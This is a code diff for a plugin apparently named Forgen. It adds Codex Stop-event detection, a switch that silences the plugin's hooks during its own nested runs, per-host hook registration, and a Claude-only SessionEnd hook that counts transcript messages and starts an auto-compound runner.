@@ -221,8 +221,12 @@ export async function main() {
|
|
|
221
221
|
return;
|
|
222
222
|
}
|
|
223
223
|
const sessionId = input.session_id ?? 'default';
|
|
224
|
-
// Stop
|
|
225
|
-
|
|
224
|
+
// Stop 훅 판별. Claude 는 `stop_hook_type`(user|end_turn|…) 을 주지만 Codex 의 Stop 입력에는 그 필드가
|
|
225
|
+
// 없고 `hook_event_name:"Stop"` 만 온다 (0.5.5 — 이전엔 Codex 세션에서 Stop 분기 전체가 건너뛰어져
|
|
226
|
+
// finalizeSession / Stop 트리거 auto-compound / rate-limit 감지가 돌지 않았다). Codex 의 정상 턴 종료는
|
|
227
|
+
// end_turn 과 동치로 취급한다.
|
|
228
|
+
const stopType = input.stop_hook_type ?? (input.hook_event_name === 'Stop' ? 'end_turn' : undefined);
|
|
229
|
+
if (stopType) {
|
|
226
230
|
_hookEvent = 'Stop';
|
|
227
231
|
// 세션 종료 시 pending outcome을 unknown으로 finalize.
|
|
228
232
|
// 과거에는 프로덕션에서 호출되지 않아 pending이 다음 세션의 flushAccept에
|
|
@@ -289,7 +293,7 @@ export async function main() {
|
|
|
289
293
|
}
|
|
290
294
|
}
|
|
291
295
|
// 정상 종료 시: 의미 있는 세션이었으면 compound 안내/자동 트리거
|
|
292
|
-
if (
|
|
296
|
+
if (stopType === 'user' || stopType === 'end_turn') {
|
|
293
297
|
const state = loadContextState(sessionId);
|
|
294
298
|
// ADR-002 T1 — 세션 중간에 교정이 들어와도 session-scoped rule 이 me-scope 으로
|
|
295
299
|
// 승급되도록 Stop 에서 직접 auto-compound-runner 를 debounced 로 트리거.
|
|
@@ -146,6 +146,11 @@ export function loadHookConfig(hookName) {
|
|
|
146
146
|
* 4. 기본값 true (하위호환)
|
|
147
147
|
*/
|
|
148
148
|
export function isHookEnabled(hookName) {
|
|
149
|
+
// -1) ADR-015 C-G1: forgen 자신이 띄운 중첩 `claude -p` 추출 실행 안에서는 모든 훅을 끈다.
|
|
150
|
+
// (--bare 는 OAuth 를 끊어 쓸 수 없음.) 이전엔 추출 run 마다 22개 훅이 재귀 발화해
|
|
151
|
+
// hook-timing / sessions / usage-telemetry 를 오염시키고 auto-compound 연쇄를 유발했다.
|
|
152
|
+
if (process.env.FORGEN_NESTED_RUN === '1')
|
|
153
|
+
return false;
|
|
149
154
|
// 0) compound-core 가드레일 — config 어떤 경로로도 끌 수 없음
|
|
150
155
|
if (PROTECTED_HOOKS.has(hookName))
|
|
151
156
|
return true;
|
|
@@ -11,7 +11,7 @@
|
|
|
11
11
|
* - workflow: 워크플로우 스킬 훅 (다른 플러그인 감지 시 자동 비활성)
|
|
12
12
|
*/
|
|
13
13
|
export type HookTier = 'compound-core' | 'safety' | 'workflow';
|
|
14
|
-
export type HookEventType = 'UserPromptSubmit' | 'SessionStart' | 'Stop' | 'PreToolUse' | 'PostToolUse' | 'PostToolUseFailure' | 'SubagentStart' | 'SubagentStop' | 'PreCompact' | 'PermissionRequest';
|
|
14
|
+
export type HookEventType = 'UserPromptSubmit' | 'SessionStart' | 'Stop' | 'PreToolUse' | 'PostToolUse' | 'PostToolUseFailure' | 'SubagentStart' | 'SubagentStop' | 'PreCompact' | 'PermissionRequest' | 'SessionEnd';
|
|
15
15
|
export interface HookEntry {
|
|
16
16
|
/** 고유 이름 (hook-config.json에서 사용) */
|
|
17
17
|
name: string;
|
|
@@ -27,6 +27,11 @@ export interface HookEntry {
|
|
|
27
27
|
timeout: number;
|
|
28
28
|
/** compound 피드백 루프에 필수인 훅인지 */
|
|
29
29
|
compoundCritical: boolean;
|
|
30
|
+
/**
|
|
31
|
+
* ADR-015: 이 훅을 등록할 host 목록. 생략 시 모든 host. Codex 의 hooks.json 은 바이트 동일성이
|
|
32
|
+
* 훅 신뢰(trust) 와 묶여 있으므로, Claude 에만 추가하는 이벤트는 `["claude"]` 로 한정한다.
|
|
33
|
+
*/
|
|
34
|
+
hosts?: Array<'claude' | 'codex' | 'opencode'>;
|
|
30
35
|
}
|
|
31
36
|
export declare const HOOK_REGISTRY: HookEntry[];
|
|
32
37
|
/** 티어별 훅 목록 조회 */
|
|
@@ -57,6 +57,9 @@ export function generateHooksJson(options) {
|
|
|
57
57
|
const hasOtherPlugins = !releaseMode && detectInstalledPlugins(cwd).length > 0;
|
|
58
58
|
// 활성 훅 필터링
|
|
59
59
|
const activeHooks = HOOK_REGISTRY.filter(hook => {
|
|
60
|
+
// 0) ADR-015: host 한정 훅 (예: SessionEnd 는 Claude 전용 — Codex hooks.json 바이트 동일성 유지)
|
|
61
|
+
if (hook.hosts && !hook.hosts.includes(runtime))
|
|
62
|
+
return false;
|
|
60
63
|
// 1) hook-config.json에서 명시적 비활성화 (releaseMode 시 무시)
|
|
61
64
|
if (!releaseMode && !isHookEnabled(hook.name))
|
|
62
65
|
return false;
|
|
@@ -0,0 +1,34 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
/**
|
|
3
|
+
* Forgen — SessionEnd Hook (ADR-015 C-G6, Claude Code 전용)
|
|
4
|
+
*
|
|
5
|
+
* Claude Code `SessionEnd` (reason: clear|resume|logout|prompt_input_exit|other, 기본 예산 1.5s)
|
|
6
|
+
* 에서 이전 세션 transcript 를 auto-compound 러너에 넘긴다. 기존 트리거(Stop / PreCompact /
|
|
7
|
+
* 다음 SessionStart) 는 Stop 이 안 오는 종료(Ctrl+C, /exit 직후 종료) 와 "마지막 컴팩션 이후
|
|
8
|
+
* 학습" 을 놓쳤다 (memory: forgen-autocompound-gap). runAutoCompound 의 in-flight/cooldown dedup
|
|
9
|
+
* 이 이중 실행을 막는다.
|
|
10
|
+
*
|
|
11
|
+
* - 예산(기본 1.5s, registry timeout 3s 로 상향) 안에 끝나야 하므로: stdin 파싱 → user 메시지 수
|
|
12
|
+
* (앞 200KB 만 읽음, 대용량 transcript 보호) → detached spawn.
|
|
13
|
+
* - Codex 에는 등록하지 않는다 (hooks.json 바이트 동일성 = 훅 신뢰 유지). Codex 의 SessionEnd 는
|
|
14
|
+
* hooks.json 변경이 필요한 다음 메이저에서 함께 추가.
|
|
15
|
+
* - fail-open: 어떤 실패도 종료를 막지 않는다.
|
|
16
|
+
*/
|
|
17
|
+
/** session-recovery 와 동일 임계값 — 짧은 세션은 compound 가치가 없다. */
|
|
18
|
+
export declare const MIN_USER_MESSAGES = 10;
|
|
19
|
+
export interface SessionEndInput {
|
|
20
|
+
session_id?: string;
|
|
21
|
+
transcript_path?: string;
|
|
22
|
+
cwd?: string;
|
|
23
|
+
reason?: string;
|
|
24
|
+
}
|
|
25
|
+
/** 앞 N바이트만 읽는 상한. critic 2026-10-01: 239MB transcript 전체 스트리밍은 3.2s → 예산 초과로 SIGKILL. */
|
|
26
|
+
export declare const COUNT_SCAN_BYTES: number;
|
|
27
|
+
/**
|
|
28
|
+
* user 메시지 수를 transcript 앞 COUNT_SCAN_BYTES 만 읽어 센다 (session-recovery 와 동일 방식).
|
|
29
|
+
* 임계값(MIN_USER_MESSAGES) 판정에만 쓰이므로 하한 추정으로 충분하다. 큰 transcript 에서도 O(200KB).
|
|
30
|
+
*/
|
|
31
|
+
export declare function countUserMessagesBounded(transcriptPath: string, maxBytes?: number): number;
|
|
32
|
+
/** 순수 판정: 이 입력으로 auto-compound 를 띄울지. (테스트 대상) */
|
|
33
|
+
export declare function shouldRunSessionEndCompound(input: SessionEndInput | null, userMessageCount: number): boolean;
|
|
34
|
+
export declare function main(): Promise<void>;
|
|
@@ -0,0 +1,100 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
/**
|
|
3
|
+
* Forgen — SessionEnd Hook (ADR-015 C-G6, Claude Code 전용)
|
|
4
|
+
*
|
|
5
|
+
* Claude Code `SessionEnd` (reason: clear|resume|logout|prompt_input_exit|other, 기본 예산 1.5s)
|
|
6
|
+
* 에서 이전 세션 transcript 를 auto-compound 러너에 넘긴다. 기존 트리거(Stop / PreCompact /
|
|
7
|
+
* 다음 SessionStart) 는 Stop 이 안 오는 종료(Ctrl+C, /exit 직후 종료) 와 "마지막 컴팩션 이후
|
|
8
|
+
* 학습" 을 놓쳤다 (memory: forgen-autocompound-gap). runAutoCompound 의 in-flight/cooldown dedup
|
|
9
|
+
* 이 이중 실행을 막는다.
|
|
10
|
+
*
|
|
11
|
+
* - 예산(기본 1.5s, registry timeout 3s 로 상향) 안에 끝나야 하므로: stdin 파싱 → user 메시지 수
|
|
12
|
+
* (앞 200KB 만 읽음, 대용량 transcript 보호) → detached spawn.
|
|
13
|
+
* - Codex 에는 등록하지 않는다 (hooks.json 바이트 동일성 = 훅 신뢰 유지). Codex 의 SessionEnd 는
|
|
14
|
+
* hooks.json 변경이 필요한 다음 메이저에서 함께 추가.
|
|
15
|
+
* - fail-open: 어떤 실패도 종료를 막지 않는다.
|
|
16
|
+
*/
|
|
17
|
+
import * as fs from 'node:fs';
|
|
18
|
+
import * as path from 'node:path';
|
|
19
|
+
import { fileURLToPath } from 'node:url';
|
|
20
|
+
import { createLogger } from '../core/logger.js';
|
|
21
|
+
import { readStdinJSON } from './shared/read-stdin.js';
|
|
22
|
+
import { isHookEnabled } from './hook-config.js';
|
|
23
|
+
import { approve } from './shared/hook-response.js';
|
|
24
|
+
import { recordHookTiming } from './shared/hook-timing.js';
|
|
25
|
+
const log = createLogger('session-end');
|
|
26
|
+
/** session-recovery 와 동일 임계값 — 짧은 세션은 compound 가치가 없다. */
|
|
27
|
+
export const MIN_USER_MESSAGES = 10;
|
|
28
|
+
/** 앞 N바이트만 읽는 상한. critic 2026-10-01: 239MB transcript 전체 스트리밍은 3.2s → 예산 초과로 SIGKILL. */
|
|
29
|
+
export const COUNT_SCAN_BYTES = 200 * 1024;
|
|
30
|
+
/**
|
|
31
|
+
* user 메시지 수를 transcript 앞 COUNT_SCAN_BYTES 만 읽어 센다 (session-recovery 와 동일 방식).
|
|
32
|
+
* 임계값(MIN_USER_MESSAGES) 판정에만 쓰이므로 하한 추정으로 충분하다. 큰 transcript 에서도 O(200KB).
|
|
33
|
+
*/
|
|
34
|
+
export function countUserMessagesBounded(transcriptPath, maxBytes = COUNT_SCAN_BYTES) {
|
|
35
|
+
const fd = fs.openSync(transcriptPath, 'r');
|
|
36
|
+
try {
|
|
37
|
+
const buf = Buffer.alloc(maxBytes);
|
|
38
|
+
const bytesRead = fs.readSync(fd, buf, 0, buf.length, 0);
|
|
39
|
+
const content = buf.toString('utf-8', 0, bytesRead);
|
|
40
|
+
let n = 0;
|
|
41
|
+
for (const line of content.split('\n')) {
|
|
42
|
+
try {
|
|
43
|
+
const t = JSON.parse(line).type;
|
|
44
|
+
if (t === 'user' || t === 'queue-operation')
|
|
45
|
+
n += 1;
|
|
46
|
+
}
|
|
47
|
+
catch { /* partial last line / non-JSON */ }
|
|
48
|
+
}
|
|
49
|
+
return n;
|
|
50
|
+
}
|
|
51
|
+
finally {
|
|
52
|
+
fs.closeSync(fd);
|
|
53
|
+
}
|
|
54
|
+
}
|
|
55
|
+
/** 순수 판정: 이 입력으로 auto-compound 를 띄울지. (테스트 대상) */
|
|
56
|
+
export function shouldRunSessionEndCompound(input, userMessageCount) {
|
|
57
|
+
if (!input || typeof input.transcript_path !== 'string' || input.transcript_path.length === 0)
|
|
58
|
+
return false;
|
|
59
|
+
return userMessageCount >= MIN_USER_MESSAGES;
|
|
60
|
+
}
|
|
61
|
+
export async function main() {
|
|
62
|
+
const start = Date.now();
|
|
63
|
+
try {
|
|
64
|
+
const input = await readStdinJSON();
|
|
65
|
+
if (!isHookEnabled('session-end') || !input) {
|
|
66
|
+
console.log(approve());
|
|
67
|
+
return;
|
|
68
|
+
}
|
|
69
|
+
const { runAutoCompound } = await import('../core/spawn.js');
|
|
70
|
+
const transcript = input.transcript_path ?? '';
|
|
71
|
+
let count = 0;
|
|
72
|
+
if (transcript && fs.existsSync(transcript)) {
|
|
73
|
+
try {
|
|
74
|
+
count = countUserMessagesBounded(transcript);
|
|
75
|
+
}
|
|
76
|
+
catch (e) {
|
|
77
|
+
log.debug('user message count 실패', e);
|
|
78
|
+
}
|
|
79
|
+
}
|
|
80
|
+
if (shouldRunSessionEndCompound(input, count)) {
|
|
81
|
+
const cwd = input.cwd ?? process.cwd();
|
|
82
|
+
const sessionId = input.session_id ?? path.basename(transcript, '.jsonl');
|
|
83
|
+
const status = runAutoCompound(cwd, transcript, sessionId, count);
|
|
84
|
+
log.debug(`SessionEnd auto-compound: ${status} (reason=${input.reason ?? '?'}, msgs=${count})`);
|
|
85
|
+
}
|
|
86
|
+
console.log(approve());
|
|
87
|
+
}
|
|
88
|
+
catch (e) {
|
|
89
|
+
log.debug('session-end 실패 (fail-open)', e);
|
|
90
|
+
console.log(approve());
|
|
91
|
+
}
|
|
92
|
+
finally {
|
|
93
|
+
recordHookTiming('session-end', Date.now() - start, 'SessionEnd');
|
|
94
|
+
}
|
|
95
|
+
}
|
|
96
|
+
if (process.argv[1] && fs.realpathSync(path.resolve(process.argv[1])) === fileURLToPath(import.meta.url)) {
|
|
97
|
+
main().catch(() => {
|
|
98
|
+
console.log(approve());
|
|
99
|
+
});
|
|
100
|
+
}
|